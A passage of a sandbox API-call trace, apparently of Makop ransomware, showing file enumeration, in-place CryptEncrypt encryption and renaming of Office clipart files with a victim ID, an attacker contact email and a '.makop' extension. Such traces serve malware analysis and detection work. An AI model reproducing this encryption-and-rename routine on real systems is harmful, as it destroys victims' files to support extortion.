RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.428] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.428] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.428] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.428] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.428] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.428] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.429] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.429] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.429] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.429] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1384, lpOverlapped=0x0) returned 1 [0107.431] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390, dwBufLen=0x1390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390) returned 1 [0107.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.431] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1390, lpOverlapped=0x0) returned 1 [0107.431] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.431] SetEndOfFile (hFile=0xf0) returned 1 [0107.438] GetProcessHeap () returned 0x48a0000 [0107.438] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.438] GetProcessHeap () returned 0x48a0000 [0107.439] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.439] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.440] CloseHandle (hObject=0xf0) returned 1 [0107.440] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0107.440] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0107.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.440] GetProcessHeap () returned 0x48a0000 [0107.441] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.441] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.441] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.445] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.445] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.445] GetProcessHeap () returned 0x48a0000 [0107.445] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.445] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.445] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.445] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.446] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.446] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.446] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.446] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.446] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.447] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.447] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x138c, lpOverlapped=0x0) returned 1 [0107.448] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390, dwBufLen=0x1390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390) returned 1 [0107.448] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.448] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1390, lpOverlapped=0x0) returned 1 [0107.449] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.449] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.449] SetEndOfFile (hFile=0xf0) returned 1 [0107.456] GetProcessHeap () returned 0x48a0000 [0107.456] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.456] GetProcessHeap () returned 0x48a0000 [0107.456] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.456] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.457] CloseHandle (hObject=0xf0) returned 1 [0107.457] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0107.457] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0107.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.458] GetProcessHeap () returned 0x48a0000 [0107.458] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.458] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.458] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.464] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.464] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.464] GetProcessHeap () returned 0x48a0000 [0107.464] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.464] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.464] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.464] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.465] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.465] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.465] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.466] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.466] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.466] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.466] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.466] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1cd8, lpOverlapped=0x0) returned 1 [0107.468] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ce0, dwBufLen=0x1ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ce0) returned 1 [0107.468] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.468] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ce0, lpOverlapped=0x0) returned 1 [0107.468] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.469] SetEndOfFile (hFile=0xf0) returned 1 [0107.476] GetProcessHeap () returned 0x48a0000 [0107.477] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.477] GetProcessHeap () returned 0x48a0000 [0107.477] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.477] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0107.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.479] CloseHandle (hObject=0xf0) returned 1 [0107.479] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0107.479] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0107.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.481] GetProcessHeap () returned 0x48a0000 [0107.481] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.482] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0107.486] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.486] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.486] GetProcessHeap () returned 0x48a0000 [0107.486] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.486] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.486] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.487] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.487] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.487] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.487] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.487] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.487] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.488] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.488] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.488] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.488] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1306, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1306, lpOverlapped=0x0) returned 1 [0107.489] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1310, dwBufLen=0x1310 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1310) returned 1 [0107.490] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.490] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1310, lpOverlapped=0x0) returned 1 [0107.490] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.490] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x13e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.490] SetEndOfFile (hFile=0xf0) returned 1 [0107.498] GetProcessHeap () returned 0x48a0000 [0107.498] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.498] GetProcessHeap () returned 0x48a0000 [0107.498] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.498] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.499] CloseHandle (hObject=0xf0) returned 1 [0107.500] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0107.500] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0107.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.500] GetProcessHeap () returned 0x48a0000 [0107.500] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.501] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.501] SetFilePointerEx (in: 